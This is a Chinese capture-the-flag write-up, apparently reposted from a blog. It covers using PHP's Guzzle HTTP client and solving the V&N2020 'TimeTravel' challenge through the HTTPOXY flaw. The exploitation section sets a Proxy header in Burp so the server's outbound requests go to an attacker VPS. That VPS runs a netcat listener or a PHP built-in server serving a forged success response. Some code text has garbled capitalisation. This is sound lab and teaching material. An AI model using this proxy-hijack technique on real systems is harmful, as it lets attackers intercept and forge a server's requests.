[V&N2020 公开赛]TimeTravel(guzzlehttpguzzle使用以及HTTPOXY漏洞)

[V&N2020 公开赛]TimeTravel(guzzlehttpguzzle使用以及HTTPOXY漏洞),第1张

概述文章目录0X01Guzzle简介0X01Guzzle实验【GET请求】【POST请求】【设置代理IP】0x03TimeTravel题目复现0X01Guzzle简介Guzzle是一个使得利用PHP实现发送HTTP请求,方便和webservice集成的PHP客户端模拟组件。Guzzle介绍0X01Guzzle实验首先下载Guzzle然后cd

文章目录0X01 Guzzle简介0X01 Guzzle实验【GET请求】【POST请求】【设置代理IP】0x03 TimeTravel题目复现

0X01 Guzzle简介@H_403_29@

Guzzle是一个使得利用PHP实现发送http 请求,方便和web service集成的PHP 客户端模拟组件。

Guzzle介绍

0X01 Guzzle实验@H_403_29@

首先下载Guzzle
然后cd到网站根目录,执行Composer命令下载Guzzle:(linux环境)

cd /var/www/HTMLcomposer require guzzlehttp/guzzle

因为报错composer http://packagist.org Could not be fully loaded,重新设置composer packagist,命令如下:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

下载完成后会生成一个vender文件夹:


在vender同级目录新建了一个guzzle.PHP来写例子。服务器上hello.PHP的内容为

<?PHP    echo "Hello ".$_REQUEST["name"]."\n"?>
【GET请求】
<?PHP	require __DIR__ . '/vendor/autoload.PHP';		use Guzzlehttp\ClIEnt;		$clIEnt = new ClIEnt();	$response = $clIEnt->get('http://121.196.196.190/hello.PHP?name=ink');	$content = $response->getbody();	echo $content;

【POST请求】
<?PHP 	require __DIR__ . '/vendor/autoload.PHP';		use Guzzlehttp\ClIEnt;		$clIEnt = new ClIEnt();     //构造url    $url = 'http://121.196.196.190/hello.PHP';     //post请求    $res = $clIEnt->request('POST', $url, [        'form_params' => [            'name'=>'qaq'        ]    ]); 	$content = $res->getbody();	echo $content;?>

【设置代理IP】

服务器上代码,作用为输出用户ip

<?PHP	error_reporting (E_ERROR | E_WARNING | E_PARSE);	if($http_SERVER_VARS["http_X_FORWARDED_FOR"]){	$ip = $http_SERVER_VARS["http_X_FORWARDED_FOR"];	}		elseif($http_SERVER_VARS["http_CLIENT_IP"]){	$ip = $http_SERVER_VARS["http_CLIENT_IP"];	}		elseif ($http_SERVER_VARS["REMOTE_ADDR"]){	$ip = $http_SERVER_VARS["REMOTE_ADDR"];	}		elseif (getenv("http_X_FORWARDED_FOR")){	$ip = getenv("http_X_FORWARDED_FOR");	}		elseif (getenv("http_CLIENT_IP")){	$ip = getenv("http_CLIENT_IP");	}		elseif (getenv("REMOTE_ADDR")){	$ip = getenv("REMOTE_ADDR");	}		else{	$ip = "UnkNown";	}		echo $ip;?>

这部分在在windows上面实验,因为有vpn好测试代理结果

Composer 的安装

Wondows 平台上,我们只需要下载 Composer-Setup.exe 后,一步步安装即可。

需要注意的是你需要开启 openssl 配置,我们打开 PHP 目录下的 PHP.ini,将 extension=PHP_openssl.dll 前面的分号去掉就可以了。

安装成功后,我们可以通过命令窗口(cmd) 输入 composer --version 命令来查看是否安装成功:


接下来我们可以更改阿里云 Composer 全量镜像:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

然后下载

cd D:\PHPStudy\WWW\Vulnerability\Guzzlehttp_ClIEntcomposer require guzzlehttp/guzzle


开始测试代理功能,首先是没有代理的

<?PHP     require './vendor/autoload.PHP';     //实例化客户端    $clIEnt = new Guzzlehttp\ClIEnt(['headers'=>[		"Accept"=>"*/*",    	"Accept-EnCoding"=>"gzip, deflate",    	"User-Agent"=>"Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 firefox/81.0"	]]);     //构造url    $url = 'http://121.196.196.190/hello.PHP';     //设置代理请求    $res = $clIEnt->request('GET', $url);     //返回状态码	$content = $res->getbody();	echo $content;?>

这时候ip为117.136.67.147


然后再把vpn打开,端口为1080

给代码加上代理'proxy' => '127.0.0.1:1080'

<?PHP     require './vendor/autoload.PHP';     //实例化客户端    $clIEnt = new Guzzlehttp\ClIEnt(['headers'=>[		"Accept"=>"*/*",    	"Accept-EnCoding"=>"gzip, deflate",    	"User-Agent"=>"Mozilla/5.0 (windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 firefox/81.0"	]]);     //构造url    $url = 'http://121.196.196.190/hello.PHP';     //设置代理请求    $res = $clIEnt->request('GET', $url, [        'proxy' => '127.0.0.1:1080'    ]);     //返回状态码	$content = $res->getbody();	echo $content;?>

代理成功

0x03 TimeTravel题目复现@H_403_29@

漏洞说明

HTTPOXY漏洞说明

漏洞原因

在CGI(RFC 3875)的模式的时候, 会把请求中的header, 加上http_ 前缀, 注册为环境变量, 所以如果你在header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为http_PROXY环境变量, 于是getenv(“http_PROXY”)就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了…

方法一

创建一个1.txt

http/1.1 200 OKServer: Nginx/1.14.2Date: Sat, 29 Feb 2020 05:27:31 GMTContent-Type: text/HTML; charset=UTF-8Connection: Keep-aliveContent-Length: 16{"success":true}

vps上执行nc -lvp 8888 < 1.txt

burp上添加一个Proxy头


返回包中得到flag

方法二,创建一个临时服务器

PHP的

mkdir APIcd API/echo '{"success":true}'>eligiblePHP -S 0:7777 -t ../

成功拿到flag

总结

以上是内存溢出为你收集整理的[V&N2020 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)全部内容,希望文章能够帮你解决[V&N2020 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/1001187.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存